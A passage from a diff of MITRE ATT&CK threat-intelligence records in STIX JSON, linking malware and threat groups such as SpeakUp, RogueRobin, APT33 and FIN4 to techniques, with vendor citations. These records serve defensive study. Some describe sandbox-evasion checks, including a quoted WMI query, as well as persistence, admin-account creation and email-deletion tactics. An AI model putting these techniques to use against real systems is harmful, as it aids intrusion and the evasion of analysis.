YARN ResourceManager.", + "type": "relationship", + "created": "2019-04-17T18:43:36.322Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8195cc4a-3415-49b9-9338-156b56ac0e30", + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "modified": "2019-04-22T20:29:31.293Z", + "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "relationship_type": "uses", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) encodes its second-stage payload with Base64.", + "type": "relationship", + "created": "2019-04-17T18:43:36.332Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ca8af6f0-da6b-40c8-81cb-764e1df0fd0a", + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "modified": "2019-04-22T20:29:31.295Z", + "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) uses cron tasks to ensure persistence.", + "type": "relationship", + "created": "2019-04-17T18:43:36.334Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--15e5ddeb-ad28-44c0-a7a7-0fe69e05456d", + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ], + "modified": "2019-04-22T20:29:31.321Z", + "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "relationship_type": "uses", + "target_ref": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) uses the arp -a command.", + "type": "relationship", + "created": "2019-04-17T18:43:36.336Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--caa06b6c-b59e-4986-87f5-fdab9d9d3534", + "external_references": [ + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. 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Retrieved November 13, 2018.", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "modified": "2019-04-17T22:05:05.962Z", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) sent spearphishing emails containing links to domains controlled by the threat actor.", + "type": "relationship", + "created": "2019-04-17T22:54:06.352Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cc64e6c5-b8c6-4cae-a007-2512c75f82cb", + "external_references": [ + { + "source_name": "Netscout Stolen Pencil Dec 2018", + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "modified": "2019-06-24T19:09:46.324Z", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "relationship_type": "uses", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) has used tools that are capable of obtaining credentials from saved mail.", + "type": "relationship", + "created": "2019-04-17T22:54:06.365Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bce63312-8382-4bd2-8ce4-9405fa0d25ff", + "external_references": [ + { + "source_name": "Netscout Stolen Pencil Dec 2018", + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "modified": "2019-06-24T19:09:46.360Z", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "relationship_type": "uses", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) has a tool to add a Windows admin account in order to allow them to ensure continued access via RDP.", + "type": "relationship", + "created": "2019-04-17T22:54:06.373Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e26d87da-b98e-4c88-ae46-232434ed658d", + "external_references": [ + { + "source_name": "Netscout Stolen Pencil Dec 2018", + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "modified": "2019-06-24T19:09:46.357Z", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remexi](https://attack.mitre.org/software/S0375) has a command to capture active windows on the machine and retrieve window titles.", + "type": "relationship", + "created": "2019-04-17T22:55:43.570Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b2cf2404-a612-4832-8dff-9f5572776785", + "external_references": [ + { + "source_name": "Securelist Remexi Jan 2019", + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "modified": "2019-04-22T20:18:07.135Z", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "relationship_type": "uses", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remexi](https://attack.mitre.org/software/S0375) performs exfiltration over [BITSAdmin](https://attack.mitre.org/software/S0190), which is also used for the C2 channel.", + "type": "relationship", + "created": "2019-04-17T22:55:43.579Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--551c4e98-3dfb-472b-8fa8-6a8961dfd418", + "external_references": [ + { + "source_name": "Securelist Remexi Jan 2019", + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "modified": "2019-04-22T20:18:07.133Z", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remexi](https://attack.mitre.org/software/S0375) collects text from the clipboard.", + "type": "relationship", + "created": "2019-04-17T22:55:43.590Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5940076b-120a-4588-b227-7fe2bc9f7ccd", + "external_references": [ + { + "source_name": "Securelist Remexi Jan 2019", + "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019.", + "url": "https://securelist.com/chafer-used-remexi-malware/89538/" + } + ], + "modified": "2019-04-22T20:18:07.150Z", + "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", + "relationship_type": "uses", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) has used Google Drive as a Command and Control channel.", + "type": "relationship", + "created": "2019-04-18T00:26:13.517Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--83bab2a0-5cbc-406e-beaf-a657ef73717d", + "external_references": [ + { + "source_name": "Unit42 DarkHydrus Jan 2019", + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "modified": "2019-04-24T23:55:43.441Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses WMI to check BIOS version for VBOX, bochs, qemu, virtualbox, and vm to check for evidence that the script might be executing within an analysis environment.", + "type": "relationship", + "created": "2019-04-18T00:26:13.521Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--93b08370-9c05-47df-b067-368343dba24a", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit42 DarkHydrus Jan 2019", + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "modified": "2019-04-24T23:55:43.449Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "relationship_type": "uses", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used password spraying to gain access to target systems.", + "type": "relationship", + "created": "2019-04-18T14:44:18.146Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8b5691c7-1815-4d76-a7dd-dfd827043bb9", + "external_references": [ + { + "source_name": "FireEye APT33 Guardrail", + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "modified": "2019-06-28T15:05:33.406Z", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "relationship_type": "uses", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used kill dates in their malware to guardrail execution.", + "type": "relationship", + "created": "2019-04-18T14:44:18.163Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--60df992b-7728-4736-b7bb-98d4578460f8", + "external_references": [ + { + "source_name": "FireEye APT33 Guardrail", + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "modified": "2019-06-28T15:05:33.690Z", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "relationship_type": "uses", + "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has created rules in victims' Microsoft Outlook accounts to automatically delete emails containing words such as \u201chacked,\" \"phish,\" and \u201cmalware\" in a likely attempt to prevent organizations from communicating about their activities.", + "type": "relationship", + "created": "2019-04-18T20:13:56.028Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--70a17629-6b01-4764-932b-8be576270329", + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + } + ], + "modified": "2019-04-18T20:19:49.320Z", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "relationship_type": "uses", + "target_ref": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) has used msiexec to download and execute malicious installer files over HTTP.", + "type": "relationship", + "created": "2019-04-18T20:25:31.123Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c551c942-a191-4fe9-81a3-cc795d7dea38", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2019-04-25T12:37:45.662Z", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "relationship_type": "uses", + "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) decodes an embedded executable using base64 and decompresses it.", + "type": "relationship", + "created": "2019-04-19T12:37:34.734Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f304b74c-85c7-4bd6-85bc-bec918a4fb7e", + "external_references": [ + { + "source_name": "Unit42 DarkHydrus Jan 2019", + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "modified": "2019-04-24T23:55:43.447Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses regsvr32.exe to run a .sct file for execution.", + "type": "relationship", + "created": "2019-04-19T12:37:34.748Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6246955e-05ae-4bd8-8ac7-c02447634486", + "external_references": [ + { + "source_name": "Unit42 DarkHydrus Jan 2019", + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "modified": "2019-04-24T23:55:43.443Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "relationship_type": "uses", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Duqu](https://attack.mitre.org/software/S0038) has used msiexec to execute malicious Windows Installer packages. Additionally, a PROPERTY=VALUE pair containing a 56-bit encryption key has been used to decrypt the main payload from the installer packages.", + "type": "relationship", + "created": "2019-04-19T13:18:41.680Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--16ad2735-61b3-4cb4-8f23-439df70715c8", + "external_references": [ + { + "source_name": "Kaspersky Duqu 2.0", + "description": "Kaspersky Lab. (2015, June 11). The Duqu 2.0. Retrieved April 21, 2017.", + "url": "https://securelist.com/files/2015/06/The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf" + } + ], + "modified": "2019-04-24T23:18:53.312Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "One variant of [Zebrocy](https://attack.mitre.org/software/S0251) uses WMI queries to gather information.", + "type": "relationship", + "created": "2019-04-19T13:42:46.179Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--16e1d79d-1eb9-4ce7-a21e-115ce2a414f1", + "external_references": [ + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + } + ], + "modified": "2019-07-17T01:18:33.076Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251)'s Delphi variant was packed with UPX.", + "type": "relationship", + "created": "2019-04-19T13:42:46.194Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--895a3c63-26d1-4846-8b8d-8f6b2c266910", + "external_references": [ + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "modified": "2019-07-17T01:18:33.123Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) used weaponized Microsoft Word documents abusing the remote template function to retrieve a malicious macro.", + "type": "relationship", + "created": "2019-04-19T13:58:34.860Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--73321011-c231-402e-a6bb-b9fd6cf6b658", + "external_references": [ + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + } + ], + "modified": "2019-07-27T00:09:36.894Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) has a module to check if its running on a virtual machine.", + "type": "relationship", + "created": "2019-04-19T14:04:47.199Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--88587bdd-ea5a-4d80-af9f-cc900c5705e3", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:48.035Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) performs several anti-VM and sandbox checks on the victim's machine. One technique the group has used was to perform a WMI query SELECT * FROM MSAcpi_ThermalZoneTemperature to check the temperature to see if it\u2019s running in a virtual environment.", + "type": "relationship", + "created": "2019-04-19T14:09:25.435Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6a93c25c-c9cb-4cd9-a36b-1f2353e91e32", + "external_references": [ + { + "source_name": "Unit 42 OilRig Sept 2018", + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "modified": "2019-04-24T23:40:23.557Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "relationship_type": "uses", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) uses WMI to check the BIOS and manufacturer information for strings like \"VMWare\", \"Virtual\", and \"XEN\" and another WMI request to get the current temperature of the hardware to determine if it's a virtual machine environment.", + "type": "relationship", + "created": "2019-04-19T14:16:54.989Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--59a6a413-1f3f-44bd-8b66-5685a1e8e6df", + "external_references": [ + { + "source_name": "Talos GravityRAT", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "modified": "2019-04-24T23:21:59.322Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "relationship_type": "uses", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) attempts to detect if it is being run in a Virtual Machine (VM) using a WMI query for disk drive name, BIOS, and motherboard information.", + "type": "relationship", + "created": "2019-04-19T14:37:04.148Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5ffaf382-3e91-409b-932f-24d107c59308", + "external_references": [ + { + "source_name": "Unit 42 BadPatch Oct 2017", + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "modified": "2019-04-23T21:17:49.965Z", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[yty](https://attack.mitre.org/software/S0248) has some basic anti-sandbox detection that tries to detect Virtual PC, Sandboxie, and VMware.", + "type": "relationship", + "created": "2019-04-19T14:43:17.603Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4f644120-7b96-4234-b81a-3160b34bca87", + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "modified": "2019-04-25T00:09:23.253Z", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "relationship_type": "uses", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) checks if VMware tools is running in the background by searching for any process named \"vmtoolsd\".", + "type": "relationship", + "created": "2019-04-19T15:08:15.767Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--86b00142-a259-4237-b1a8-a8183d581b54", + "external_references": [ + { + "source_name": "Unit42 PlugX June 2017", + "description": "Lancaster, T., Idrizovic, E. (2017, June 27). Paranoid PlugX. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/unit42-paranoid-plugx/" + } + ], + "modified": "2019-04-19T15:08:15.767Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) checks for virtualization software such as VMWare, VirtualBox, or QEmu on the compromised machine.", + "type": "relationship", + "created": "2019-04-19T15:10:04.322Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--750c8d62-74f3-4566-95fc-97f1685c9ca0", + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "modified": "2019-04-19T15:10:04.322Z", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "relationship_type": "uses", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) scans processes to perform anti-VM checks.", + "type": "relationship", + "created": "2019-04-19T15:17:17.561Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4929677b-3ce9-4065-9837-cfaa0cad8c89", + "external_references": [ + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more" + } + ], + "modified": "2019-06-24T19:07:12.660Z", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "relationship_type": "uses", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) probes the system to check for sandbox/virtualized environments.", + "type": "relationship", + "created": 